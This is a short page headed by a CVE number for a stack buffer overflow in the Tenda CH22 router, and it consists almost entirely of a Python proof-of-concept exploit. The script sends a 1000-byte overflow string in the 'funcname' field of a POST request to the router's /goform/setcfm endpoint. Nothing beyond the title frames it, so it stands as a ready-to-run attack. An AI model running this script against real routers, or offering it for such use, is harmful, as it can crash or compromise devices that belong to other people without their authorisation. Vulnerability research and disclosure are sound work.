CVE-2026-5154 Tenda CH22 栈缓冲区溢出漏洞

import requests def exploit_poc(target_ip): # Target endpoint url = f"http://{target_ip}/goform/setcfm" # Malicious payload to trigger stack overflow # Adjust the length based on the specific buffer size payload = b"A" * 1000 # Data to be sent data = { "funcname": payload } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)